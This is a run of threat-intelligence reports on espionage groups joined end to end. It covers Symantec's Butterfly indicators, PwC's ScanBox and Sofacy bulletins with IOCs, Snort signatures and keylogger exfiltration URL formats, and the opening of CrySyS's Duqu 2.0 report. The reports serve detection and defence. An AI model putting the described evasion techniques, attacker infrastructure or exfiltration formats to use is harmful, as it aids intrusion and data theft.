cee20c8de212bcce2fa77ba85686d668e997265e3b6d69a1adac578972aaf88a kerberos32.dll dee31199fc026cea5824e3dd01f4e51801c3ffc7e313aef63862c41ddf422a6e cudacrt.dll 48c24314780bb9690e7014e01e53ca702cf8ba97aa72423607541a8437af26aa inst.dat 48c24314780bb9690e7014e01e53ca702cf8ba97aa72423607541a8437af26aa nvcplex.dat 00a6d40ed77de5ff7c40449e58ab86b48d5318de0df9012aa459923a366ea6f6 INST.DAT 2e5e14f12278294fbe71239e4b9002e74d961f6eb985229d5688fa809888baa7 RAS.DAT add22794553e9f86faf6f5dace4d7bd4d6023dfe755c84988723a0dad00406b8 nete.dat add22794553e9f86faf6f5dace4d7bd4d6023dfe755c84988723a0dad00406b8 NETE.EXE e86f6bd6bc6f631fe7a98faee5033dafe49655afc65a51dc3026a578f5285fdc kerberos32.DLL e86f6bd6bc6f631fe7a98faee5033dafe49655afc65a51dc3026a578f5285fdc kerberos64.dll 2a959108855430fcd252a7ac87c5cbfc9aed9afd95af013ae4d1d395fb4c6980 ps.dat dfa52895a1093e3b5474107bd371b98242617e58dd30ba61977be6e6b57d869d nvcplex.dat d980a5f103104595b137a4d5d9a73f90821657d09bca0ec5cfc8ae52db096a0f inst.dat d980a5f103104595b137a4d5d9a73f90821657d09bca0ec5cfc8ae52db096a0f taskhost.exe e5d0169be787fcfbf9dabb766b7625802bbc46471d56730e446e6beba82aa581 cudacrt.dll 0ecfea8f338eb616ee41bb302a81c2abe6759e32edc3c348b6e81589fefb5587 cudacrt.DLL 37d9e8fc4dc389e121c76a53aa96b311da1beaecbc819095600dc2ee0c4f4eca plog.dat 819694a6a4f6f48604ee769dc303852799cd473cbda946cbcd6ba82d20ced668 pc.dat 88979438a208c873d5dd698eee3ca4c2c99b1d3828eabfe01e0cf593680d607d dp.dat fac197d47807c5d61ded7679c0f79084089085122b5cee70bfeb6547b840fd64 vaioupdter.exe 36a73defccba5e53c955c75f4c2578e966cdfbad022d4384f7856a64c069b371 cudacrt.dll 53c77ee898139b26143bba450cfdb8c6fe385562195530b30555b11fd63c9166 h2t.dat d652ed82d2f8e36156cbfeb7137765210e00a9e33c3827c4ef29d7e984a7d46a INST.DAT eda52dbcd0afa845ba9cc7460ba36b2b9cac10e9533ac1ca63ced449376b679d tasks.exe 1677573bb02cc073e248e4a14334db90be8052d0b236e446e29582f50441fa33 Back door 1c9af096e4c7daa440af136f2b1439089a827101098cfe25b8c19fc7321eaad9 Back door fd616d1298653119fb4fbd88c0d39b881181398d2011320dc9c8c698897848c4 Back door Page 29 Butterfly: Corporate spies out for financial gain 9d077a37b94bf69b94426041e5d5bf1fe56c482ca358191ca911ae041305f3ed Back door 29906c51217d15b9bbbcc8130f64dabdb69bd32baa7999500c7a230c218e8b0a Back door 3cfdd3cd1089c4152c0d4c7955210d489565f28fb0af9861b195db34e7ad2502 Back door 4327ce696b5bce9e9b2a691b4e915796218c00998363c7602d8461dd0c1c8fbb Back door 5ab4c378fd8b3254808d66c22bbaacc035874f1c9b4cee511b96458fedff64ed Back door fba34e970c6d22fe46b22d4b35f430c78f43a0f4debde3f7cbcddca9e4bb8bbb 11b42a5b944d968cbfdaac5075d195cc4c7e97ba4ff827b75a03c44a3b4c179a 6e62ee740e859842595281513dd7875d802a6d88bcbb7e21c1c5b173a9e2e196 C&C server details The following IP addresses were used for C&C traffic using SSH over port 443: 46.183.217.132 46.165.237.75 217.23.3.112 178.162.197.9 The following C&C servers were used by Backdoor.Jiripbot and OSX.Pintsized: ddosprotected.eu drfx.chickenkiller.com The following C&C domains were used by Butterfly-related back doors. They were also used to host exploits over HTTP: digitalinsight-ltd.com clust12-akmai.net jdk-update.com corp-aapl.com cloudprotect.eu The following shows the format of Backdoor.Jiripbot s DGA domains: jdk\.[a-f0-9]{32}\.org e.g. jdk.20e8ad99287f7fc244651237cbe8292a.org Page 30 About Symantec Symantec Corporation (NASDAQ: SYMC) is an information protection expert that helps people, businesses and governments seeking the freedom to unlock the opportunities technology brings -- anytime, anywhere. Founded in April 1982, Symantec, a Fortune 500 company, operating one of the largest global data-intelligence networks, has provided leading security, backup and availability solutions for where vital information is stored, accessed and shared. The company more than 19,000 employees reside in more than 50 countries. Ninety-nine percent of Fortune 500 companies are Symantec customers. In fiscal 2015, it recorded revenues of $6.5 billion. To learn more go to www.symantec.com or connect with Symantec at: go.symantec.com/social/. For specific country offices and contact numbers, please visit our website. Symantec World Headquarters 350 Ellis St. Mountain View, CA 94043 USA +1 (650) 527-8000 1 (800) 721-3934 www.symantec.com Copyright 2015 Symantec Corporation. All rights reserved. Symantec, the Symantec Logo, and the Checkmark Logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners. Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. Cyber Threat Operations Tactical Intelligence Bulletin Date: Contact: Reference: 2015-02-24 threatintelligence@uk.pwc.com CTO-TIB-20150224-01A TLP: WHITE ScanBox II Tactical Intelligence Bulletin TLP: WHITE 1. A deeper look into ScanBox Please e-mail us at threatintelligence@uk.pwc.com for a version of this report with additional indicators that you are welcome to distribute so long as it is not on public channels (TLP-GREEN). We have observed actors amending the ScanBox framework to evade existing public signatures, detailed below. Overview Security researchers have often made the mistake of assuming that when a specific tool was observed being used in espionage attacks, it was representative of activity of a single actor. More frequently, however, many are now identifying that distinct groups of attackers are sharing their toolsets, just as in the cybercrime world. One such toolset, the ScanBox framework, is now shared between a number of groups who conduct espionage attacks. Evidence suggests that these groups include those behind the recent Forbes and Anthem attacks. This short paper outlines our current perspectives on the previously discussed espionage groups currently using the framework and a hint that a 5th player is getting in on the game. ScanBox performs keylogging of users when they visit a compromised website, without requiring malware to be deployed, and can collect a great deal of information which can be used to tailor future attacks In October we published some details of the ScanBox tool set. Since then we have encountered 24 additional sites compromised with the framework. Over this time we have observed changes to the code and novel techniques for executing. We have also received a number of tip offs from other researchers, as well as queries from victims who were directly targeted by those using the framework. We would like to extend our thanks to these individuals for their contributions towards this research. Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE s using it, and who s being targeted? The following diagram shows the links in tools and targets between the groups discussed in our previous blog, but newer information has since come to light which allows us to more accurately associate these groups with known threat actors: Between these clusters, we ve seen strategic web compromises designed to target users in the following countries: Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE Variations on the framework Since our last post there have been several alterations to the ScanBox code base, including new modules, changes to avoid signature based detection, as well as extra techniques to try to identify whether those being scanned are real machines or researchers. Fears of proliferation In some cases we have been able to watch developers update and test variants of the framework, and even come across server-side code being tested by budding hackers. Our findings are detailed below. Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE 2. Updates to the ScanBox Framework Following on from our previous post on ScanBox1, we have watched the clusters of activity outlined with close interest, as well as keeping an eye on new adopters of the ScanBox framework. For those who didn t read our last entry on the framework, nor the excellent work by Jaime Blasco2 which preceded it, ScanBox is a framework written in JavaScript and PHP which allows an attacker to perform reconnaissance and key logging of visitors to compromised websites without requiring any malware to be downloaded or installed. The framework has remained in use since initial analyses were published, and further analysis of the code, public reporting, as well as the infrastructure used to host ScanBox infections has given us a better picture of some of the clusters of activity we identified in our earlier blog. Technical Updates In addition to the four websites we previously identified hosting the malicious code, we ve now identified a further 24 websites hosting the framework. Anonymised data relating the countries and sectors affected are given in appendix A. Broadly, the ScanBox framework codebase has remained the same, however there are slight nuances in some aspects of the code, or in the software attackers choose to search for. Software checks In cases where the attackers have included software checks within their ScanBox code, it tends to be for the same original list of filenames (Appendix C). In some cases the attackers customise the list, presumably based on the things they re expecting to find. For example, adding or removing additional security products based on the predominant software providers in their target region. s also worth noting that the standard list includes quite a lot of software which is less relevant to security (examples include WinRAR, iTunes and WinZip). Some of these may be included in order to help the attackers to try and identify real victims vs researchers/sandboxes/honeypots. An example list is shown in the following screenshot: 1 http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it- 1.html 2 https://www.alienvault.com/open-threat-exchange/blog/scanbox-a-reconnaissance-framework-used-on-wateringhole-attacks Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE checkDrives In one cluster of ScanBox activity, instead of checking for specific files as per the method above, the attackers have implemented a different method of tracking files and drives present on the victim machine. The first piece of new functionality is that the attackers build a possible list of drive names (A-Z) and scan for the existence of each drive: Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE checkFolders They do not check files directly either, instead, checking for the presence of a list of folder names: Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE In this case, rather than determining what security software is present, this check would mainly be useful in assisting the attacker with identifying the victim s operating system. This could then be used to tailor future attacks (i.e. should I deploy malware which can bypass UAC? Should I send malicious documents targeting CVE-2012-0158 or not?). Also, bizarrely the attackers check the path Program Files (x80236) if anyone knows what this corresponds to, please get in touch and let us know. Avoiding analysis? As we stated earlier, some of the features of the original ScanBox code were probably designed to help those analysing results distinguish between honeypots/analysis environments and real-world victims. The newly added variables include: colorDepth This may help to identify virtual machines which are typically configured with specific graphics options. Local Time on the machine checking that the local time on the machine matches the expected time given the geo-location of the infected IP address in many cases analysis environments are not configured with the correct time. Updates to evade signatures Possibly in response to our previous report, we ve seen some of the groups using ScanBox alter the content of the modules to evade detection. Attackers do read reports, both to help them attack3 and also to evade detection. One change has been the URI formats used to deliver stolen key log data from obvious URLs such as: /k.php?data=[KeyloggerData] To more subtle URLs such as: /[KeyloggerData].jpg We also note that following our release of a signature to detect the phrase No Java or Disable which was present in a number of related frameworks, some of the attackers have now changed this to "No or Disable". 3 For example as in http://pwc.blogs.com/cyber_security_updates/2015/01/destructive-malware.html Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE 3. Previously on ScanBox Clusters In our previous entry on ScanBox we described four clusters of activity this section includes updates on those clusters. Previously, we were only able to cluster activity based on the infrastructure used and the associated malware, we now have a sufficient number of samples to cluster based on differences in implementation between the code used for ScanBox in each case. Flash Cluster (aka Cluster 1) The recently published FBI flash alert #A-000049-MW4, cited domain names previously referenced in our blog as being related to an actor known as Deep Panda, which we ll get to in a minute. The link appears to have been made from the use of the DerUsbi malware family though, which we know to be used by several espionage actors. What is interesting is the potential overlap between the target selection of this cluster and the targets of those behind the recently reported Forbes compromise5,6. Checking the Google SafeBrowsing results for *.googlecaches.com, shows that the domain was used for distribution of malicious code for a significant period after our previous blog entry: This includes distribution via gokbayrak.com. Looking at whether any other domains or IP addresses were observed delivering malicious software via gokbayrak.com shows that it was also observed delivering malware via 88.80.190[.]133. This is the same IP address that was cited in iSight s reporting of the Forbes breach. 4 http://krebsonsecurity.com/wp-content/uploads/2015/02/fbi-pandaflash.png 5 http://www.invincea.com/2015/02/chinese-espionage-campaign-compromises-forbes/ 6 http://www.isightpartners.com/2015/02/codoso/ Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE In fact, the IP address 88.80.190.133 was involved in the compromise of the same 3 websites as SafeBrowsing shows were affected by googlecaches.com. The same three sites targeted with the 0-day used in the Forbes attack were also observed distributing malware via googlecaches[.]com - we therefore believe it s likely that the group we previously described as Cluster 1 was behind the Forbes compromise. We can use similar techniques to explore other actors who have the same tasking as Cluster 1. In the screenshot of websites delivering malware via gokbayrak.com, we saw that the domain name macanna.com[.]tw was also used to distribute malware from this page. Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE Whilst macanna.com[.]tw appears to be a legitimate site, it has also been observed as being a command and control destination for malware. The malware sample in question has a hash of 3b8d7732de3b3c8823d241e7cd3185c4. The same sample also communicates with happynewyear.dns04[.]com, which in turn resolves to the IP address 115.23.172[.]151, which hosts a large number of other malicious host names: Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE These following hostnames are activity associated with the actor best known as TH3Bug7 - named after their choice of Poison Ivy password. Their malware samples are present in the same cluster: 7 http://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug- using-poison-ivy/ Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE Deep Cluster (aka Cluster 2, centred on news.foundationssl[.]com) This cluster relates to the threat actor referred to as Deep Panda by CrowdStrike, as was confirmed in a recent blog post8. In turn, this is widely believed to relate to the incident at Anthem, as described in a Krebs post9. The graph below shows the links between the we11point.com domain name, and news.foundationssl[.]com as seen on the CrowdStrike blogpost: The Krebs article also points toward other possible (although not explicit) links between the domain allegedly used in the Anthem hack (we11point.com) to Cluster 2 through shared WHOIS details, as we11point.com was registered by domain re-seller li2384826402@yahoo.com On its own, this would not be sufficient to associate the two clusters, but it is useful to note as a softer overlap. 8 blog.crowdstrike.com/ironman-deep-panda-uses-sakula-malware-target-organizations-multiple-sectors/ 9 http://krebsonsecurity.com/2015/02/anthem-breach-may-have-started-in-april-2014/ Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE Mystery Cluster 3 (aka Cluster 3, centered on qoog1e[.]com): Cluster 3 remains a mystery, unfortunately the code used in this instance is the most slim line version, and has since not been widely re-used it is unclear who was behind the compromise using this domain name. Evil Cluster (aka Cluster 4, centred on webmailgoogle[.]com): d previously missed the link between Cluster 4 and malware widely known as EvilGrab Vidgrab . From our view point, this malware is exclusively used by one group, known by CrowdStrike as Stone Panda10. In addition to the four clusters outlined above, within the 24 additional compromises identified, we believe there are at least 3 other distinct groups using the framework. Digital Quartermastering In their 2013 paper From Quartermaster to Sunshop 11, FireEye described the concept of a Digital Quartermaster, a kind of malware supply chain for intrusions, where a skilled team would develop toolsets for a range of attackers who deploy them. The shared use of ScanBox may match up quite well to this hypothesis, and indeed even to some extent the naming schema overlaps, as iSight refer to the actor behind the Forbes breach as Codoso, but suggest they are publically known as Sunshop . In all likelihood this relates to a series of blogs byFireEye which refer to a series of web compromises in 2013 as being the SunShop12 campaign. Although we did not notice the correlation immediately, there is good overlap between the groups we described above, and the clusters of activity described as sharing a Flash 0-day in early 2014 by Symantec13. Although other groups have since begun using the framework, the first groups to use the framework (clusters 1-4) correspond quite nicely to the existing Symantec blog. For reference, we overlaid our ScanBox clusters against the likely clusters Symantec created behind the scenes for their blog, as well as other popular names: ScanBox CrowdStrike Cluster Symantec Other Names Group Vulnerabilities & Malware Used Frameworks ScanBox Cluster 1 Sunshop (iSight) CVE-2014-6332 Briba, Poison Ivy ScanBox CVE-20140322 (Internet Explorer) Cluster 2 Deep Panda Sakurel CVE-20124792 (Internet Explorer) Sakurel, DerUsbi, many others CVE-2014-0502 (Adobe Flash) 10 http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem 11 https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-malware-supply-chain.pdf 12 https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html 13 http://www.symantec.com/connect/blogs/how-elderwood-platform-fueling-2014-s-zero-day-attacks Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE CVE-20141776 (Internet Explorer) ScanBox Cluster 4 Stone Panda Vidgrab CVE-20140322 (Internet Explorer) Jolob/Vidgrab CVE-2014-0502 (Adobe Flash) Please note that each vendor has their own way of grouping activity together, so these mappings are given on a best efforts basis. Player 5 has entered the game In all examples of ScanBox deployments discussed so far, we believe that the scripts were deployed to anyone who visited websites of interest to a given sector which the attacker was able to compromise and that the attackers waited for victims to visit the compromised site. However one group of attackers using the ScanBox framework are now actively sending e-mails to potential victims, where the e-mails contain links to websites hosting ScanBox. We believe these attackers are not covered by the existing clusters 1 through 4, as the code differs from that used elsewhere. This method of sending links rather than waiting for visiting a specific compromised website has two main advantages: The advantage that the attacker doesn t have to compromise sites that are relevant to the sector they wish to perform reconnaissance against, so generally this will make things easier for the attacker; and, The attacker has to deal with fewer false positives in terms of data received from victims. Even good IP whitelisting techniques will result in some false positives, by controlling the visitors however they can ensure only those they want to scan are scanned. This group differs from the others based on the following characteristics: They send e-mails with links to compromised websites, rather than compromising sites of interest to their targets. Attackers send links to victims using a similar technique to that described in our Sofacy phishing blog14, where multiple redirects are deployed, one being a decoy, the other in this case loading ScanBox: 14 http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing.pdf Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE Uses the checkFolders function within the ScanBox code, rather than explicitly checking for files; and, Hosts the ScanBox code on the same page they have compromised rather than on a 3rd party IP address or domain name owned by the attacker. So far we have identified four low key websites, all belonging to small companies based in the United States or Canada which are being abused in this fashion. 3.1. Going behind enemy lines fears of proliferation and upcoming attacks At one point during our investigation into infrastructure hosting ScanBox code, we identified a server which appeared to be used for development and testing purposes. On this occasion, the server side code was publicly accessible, allowing us to gain insights into the development and testing phase of an attack using ScanBox. This also included the ScanBox framework s own detailed reconnaissance against the developer themselves. We noted the developer repeatedly uploading the modified versions to VirusTotal, presumably in an attempt to improve evasion of anti-virus. We do not believe this developer is part of the core group that has access to the original implementation, but is instead another actor, who is likely rebuilding ScanBox from samples they find online. Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE The screenshot on the left is from a version currently in development by a possible attacker, the corresponding screenshot on the right is from a public article15. http://www.cnxhacker.com/2015/01/19/6412.html Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE 4. Conclusion The publication of threat information allows us to draw links between different campaigns, tools and malware but we need to be careful about which links we consider to be significant and ensure we confident in how information that s publically available was derived. The summary above is just our view of the overlaps in web based tools/exploits and targets between different threat actors, but those with different datasets may be able to draw different conclusions. Last time, we identified three possible hypotheses to explain the overlap between the ScanBox users, in this blog, based on the data we have available, we can settle on just one of these conclusions: 2. Selections of actors share some resources, as per previous observations with similar kits by some security vendors. Specifically, our key conclusions are: [High Confidence] - The DQM theory presented by FireEye and later explored by Symantec in 2014 about likely tool and exploit sharing between a specific set of groups continues to hold true, we can only speculate as to the nature of the relationships organisationally between these groups. [Medium Confidence] - We currently believe that the activity represented by Cluster 1 and the activity related to Th3Bug are distinct, but that there is overlap in who they are tasked to target. [Low confidence] Th3Bug is one of the other actors who is in receipt of the same shared resource pool as those clusters already identified in this blog. What is not clear is why specific resources (web-based exploits) appear to be shared, and why others (primarily malware families) are sometimes kept within a specific cluster. Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE 5. Signatures Snort Signatures TLP WHITE alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"--[PwC CTD] -- MultiGroup - ScanBox and Targetted Watering Holes Content (plugin_pdf_ie())"; flow:established,from_server; file_data; content:"plugin_pdf_ie()"; classtype:trojanactivity; reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanboxframework-whos-affected-and-whos-using-it-1.html; metadata:tlp WHITE,author CDD; sid:xxxxxx; rev:2015021901;) alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"--[PwC CTD] -- MultiGroup - ScanBox Watering Hole Content (.item(0).appendChild(iframe_tag))"; flow:established,from_server; file_data; content:".item(0).appendChild(iframe_tag)"; classtype:trojan-activity; reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whosaffected-and-whos-using-it-1.html; metadata:tlp WHITE,author CDD; sid:xxxxxx; rev:2015021901;) alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"--[PwC CTD] -- MultiGroup - ScanBox and Targetted Watering Holes Content (var version\;var ax\;var e\;try{axo=new ActiveXObject)"; flow:established,from_server; file_data; content:"var version\;var ax\;var e\;try{axo=new ActiveXObject"; classtype:trojan-activity; reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whosaffected-and-whos-using-it-1.html; metadata:tlp WHITE,author CDD; sid:xxxxxx; rev:2015021901;) alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"--[PwC CTD] -- MultiGroup - ScanBox Watering Hole Content (document.getElementsByTagName('head').item(0).appendChild(form_tag)\;)"; flow:established,from_server; file_data; content:"document.getElementsByTagName('head').item(0).appendChild(form_tag)\;"; classtype:trojan-activity; reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whosaffected-and-whos-using-it-1.html; metadata:tlp WHITE,author CDD; sid:xxxxxx; rev:2015021901;) alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"--[PwC CTD] -- MultiGroup - ScanBox Watering Hole Content (return ((!a) ? 'x-': a) + Math.floor(Math.random() * 99999)\;)"; flow:established,from_server; file_data; content:"return ((!a) ? 'x-': a) + Math.floor(Math.random() * 99999)\;"; classtype:trojan-activity; reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whosaffected-and-whos-using-it-1.html; metadata:tlp WHITE,author CDD; sid:xxxxxx; rev:2015021901;) alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"--[PwC CTD] -- MultiGroup - TH3BUG and Non-Targetted Groups Watering Hole Code (Chr(CInt(ns(i)) Xor n))"; flow:established,from_server; file_data; content:"Chr(CInt(ns(i)) Xor n)"; classtype:trojan-activity; reference:url,pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whosaffected-and-whos-using-it-1.html; metadata:tlp WHITE,author CDD; sid:xxxxxx; rev:2015021901;) Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE 6. Appendices Appendix A ScanBox Sites Where the site was referenced via phishing as opposed to Watering Hole based activity, it has been excluded from the following table. Where we have an assigned cluster, but have not discussed it in this document, we have given Cluster [Letter] these are not intended as names for groups. Where we do not have an associated group we have listed unknown under this field. Cyber Threat Operations Country Sector/Target Cluster Uyghur Cluster 1 Think Tank Cluster 2 Think Tank Cluster 2 Think Tank Cluster 2 Hospitality Cluster 3 Industrial Sector Cluster 4 Chemicals Cluster 4 Geological Surveying Cluster 4 Government Cluster A Education Cluster A Geological Surveying Cluster A Government Cluster B Government Cluster C Media Unknown Media Unknown Unknown Government Unknown Government Unknown Technology Unknown Tactical Intelligence Bulletin TLP:WHITE Appendix B Indicators of Compromise TLP:WHITE This table only includes related new single value IoCs which were not already published in our previous blog, which we are happy to share at TLP:WHITE Cluster Value Artefact type Cluster 1 1.9.5.38 IP Address Cluster 1 103.255.61.227 IP Address Cluster 1 118.193.153.221 IP Address Cluster 1 118.193.153.227 IP Address Cluster 1 174.121.122.73 IP Address Cluster 1 4639c30b3666cb11b3927d5579790a88bff68e8137f18241f4693e0d4539c608 Malware Hash Cluster 1 809959f390d5a49c8999ad6fff27fdc92ff1b2b0 Malware Hash Cluster 1 ab58b6aa7dcc25d8f6e4b70a24e0ccede0d5f6129df02a9e61293c1d7d7640a2 Malware Hash Cluster 1 e8a8ffe39040fe36e95217b4e4f1316177d675ed Malware Hash Cluster 1 file.googlecaches.com Hostname Cluster 1 gtm.googlecaches.com Hostname Cluster 1 js.googlewebcache.com Hostname Cluster 1 owa.outlookssl.com Hostname Cluster 4 122.10.10.161 IP Address Cluster 4 204.152.199.43 IP Address Cluster 4 50.2.24.211 IP Address Cluster 4 bak.mailaunch.com Hostname Cluster 4 f1890cc9d6dc84021426834063394539414f68d8 Malware Hash Cluster 4 us-mg6.mail.yahoo.mailaunch.com Hostname Appendix C Standard software list detected by ScanBox AhnLab_V3 antiyfx a-squared avg2012 avira Bit9 bitdefender_2013 BkavHome COMODO Dr.Web emet4.1 emet5.0 eScan eset_nod32 ESET-SMART ESTsoft Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE Fortinet F-PROT F-Secure f-secure2011 IKARUS Immunet iTunes JiangMin Kaspersky_2012 Kaspersky_2013 Kaspersky_Endpoint_Security_8 mcafee_enterprise Norman Norton Nprotect Outpost PC_Tools QuickHeal Rising Rising_firewall sophos SQLServer Sunbelt SUPERAntiSpyware Symantec_Endpoint12 symantec-endpoint Trend2013 ViRobot4 VirusBuster vmware-client vmware-server WinRAR winzip Cyber Threat Operations Tactical Intelligence Bulletin TLP:WHITE Further information For more in-depth coverage, including full details of the analysis behind this blog as well as additional indicators which can be used to detect similar samples, or if you have any other queries, please give us a shout at threatintelligence@uk.pwc.com. The information contained in this document has been prepared as a matter of interest and for information purposes only, and does not constitute professional advice. You should not act upon the information contained in this email without obtaining specific professional advice. No representation or warranty (express or implied) is given as to the accuracy or completeness of the information contained in this email, and, to the extent permitted by law, PricewaterhouseCoopers LLP, its members, employees and agents do not accept or assume any liability, responsibility or duty of care for any consequences of you or anyone else acting, or refraining to act, in reliance on the information contained in this email or for any decision based on it. Cyber Threat Operations Cyber Threat Operations Tactical Intelligence Bulletin Date: Contact: Reference: 2015-04-20 threatintelligence@uk.pwc.com CTO-TIB-20150420-01A TLP: WHITE Sofacy II Same Sofacy, Different Day Tactical Intelligence Bulletin Background There has been some recent news regarding further activities of a group variously described as Sofacy1. We are releasing this flash bulletin containing network indicators to aid security professionals in detecting this activity. Please contact us on threatintelligence@uk.pwc.com and we would be happy to send you a TLPGREEN version of this report containing further indicators that you are welcome to distribute further in line with US-CERT definition for TLP. Recent Reports In the past few days Trend Micro and FireEye have both released reports relating to similar activity: Trend 2 described spear phishes containing links to malicious websites that deploy malware through apparent browser exploits and phishing for web-mail credentials. FireEye3 have recently described the use of CVE-2015-3043 and CVE-2015-1701 exploits in suspected Sofacy attacks. Interestingly, despite the use of zero-day exploits for delivery, there is some evidence that the attackers continue to use old variants of their malware4. PwC Threat Intelligence subscribers can refer to CTO-TIB-20150306B published in March 2015 for further details on some of the novel methods we are seeing Sofacy currently employ and the wider context to this activity. Please review our earlier bulletin5 or contact us for further information on analysis, targeting and recommended actions relating to Sofacy s credential phishing. Network Indicators Below we list a number of domains which you may wish to review network logs for. Typically registered domains are employed for phishing and/or malware command and control. This is a redacted list of domains that are likely related to Sofacy and we note that related domains have been observed by others6, as well as in the cited reports. Other names include APT28, Fancy Bear, Sednit and Pawn Storm. See http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-storm-ramps-up-its-activitiestargets-nato-white-house/ See https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html For example see https://www.virustotal.com/en/file/67ecc3b8c6057090c7982883e8d9d0389a8a8f6e8b00f9e9b73c45b008241322 /analysis/ See http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf See https://twitter.com/ThreatConnect/status/589168650759884800 Cyber Threat Operations Tactical Intelligence Bulletin TLP: WHITE Appendix 1 Domains TLP WHITE defencereview[.]net brnlv-gv[.]eu militaryobserver[.]net netassistcache[.]com asus-service[.]net aolnets[.]com natopress[.]org natopress[.]com defencereview[.]eu intelsupport[.]net globalnewsweekly[.]com osce-oscc[.]org enisa-europa[.]com enisa-europa[.]org techcruncln[.]com nato-hq[.]com iacr-tcc[.]org nato-int[.]com nato-info[.]com bmlv-gv[.]eu foreignreview[.]com mediarea[.]org osce-military[.]org europeanda[.]com softupdates[.]info settings-yahoo[.]com settings-live[.]com delivery-yahoo[.]com privacy-yahoo[.]com privacy-live[.]com westinqhousenuclear[.]com webmail.westinqhousenuclear[.]com Cyber Threat Operations Tactical Intelligence Bulletin TLP: WHITE References http://www.welivesecurity.com/2014/10/08/sednit-espionage-group-now-usingcustom-exploit-kit/ http://pwc.blogs.com/cyber_security_updates/2014/10/phresh-phishing-againstgovernment-defence-and-energy.html http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/whitepapers/wp-operation-pawn-storm.pdf https://www.fireeye.com/resources/pdfs/apt28.pdf http://pwc.blogs.com/cyber_security_updates/2014/12/apt28-sofacy-so-funny.html http://blog.trendmicro.com/trendlabs-security-intelligence/operation-pawn-stormramps-up-its-activities-targets-nato-white-house/ https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html Cyber Threat Operations Tactical Intelligence Bulletin TLP: WHITE The information contained in this document has been prepared as a matter of interest and for information purposes only, and does not constitute professional advice. You should not act upon the information contained in this email without obtaining specific professional advice. No representation or warranty (express or implied) is given as to the accuracy or completeness of the information contained in this email, and, to the extent permitted by law, PricewaterhouseCoopers LLP, its members, employees and agents do not accept or assume any liability, responsibility or duty of care for any consequences of you or anyone else acting, or refraining to act, in reliance on the information contained in this email or for any decision based on it. Cyber Threat Operations Duqu 2.0: A comparison to Duqu v1.0 (10/Jun/2015) Technical Report CrySyS Lab http://www.crysys.hu/ Budapest, 2015 Authors: Boldizs r Bencs th, G bor cs-Kurucz, G bor Moln r, G bor Vasp ri, Levente Butty Roland Kamar Findings in brief In October 2011, we analyzed a new threat what we named Duqu, and we showed that it has close relationships to the infamous Stuxnet attack. By courtesy of Kaspersky Lab, in late May 2015 we received samples about a new threat, with the hint that it might be related to the Duqu attacks; however, these new samples are from 2014. We decided to carry out an individual research on the samples with the focus on the connections between the original Duqu attack and the new threat, dubbed Duqu 2.0 After analyzing the samples received, we think, that the adversaries behind Duqu malware are back and active; while they modified their tools to be undetected by old methods, they also strongly reused codes and ideas during their recent attacks. The numerous similarities that we discovered between Duqu and Duqu 2.0 include the following: Similar string decryption routines related to Anti-Virus product strings Similar methods, magic number, bug and file format related to files encrypted with AES by both threats Same non-standard CBC mode AES encryption used by both threats Extremely similar logging module with exactly the same magic numbers Similar C++-like coding and compiling style In this report, we present supporting details and analysis for all the similarities listed above. Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Table of contents Introduction........................................................................................................................... 4 1.1. Hashes of the analyzed samples .................................................................................... 6 Similarities and differences ................................................................................................... 7 2.1. General details ............................................................................................................... 7 2.2. String decryption ............................................................................................................ 9 2.3. AES encryption of the configuration file ...................................................................... 14 2.4. Format of the (encrypted) configuration file ............................................................... 24 2.5. Logging functions ......................................................................................................... 26 2.6. Command & Control 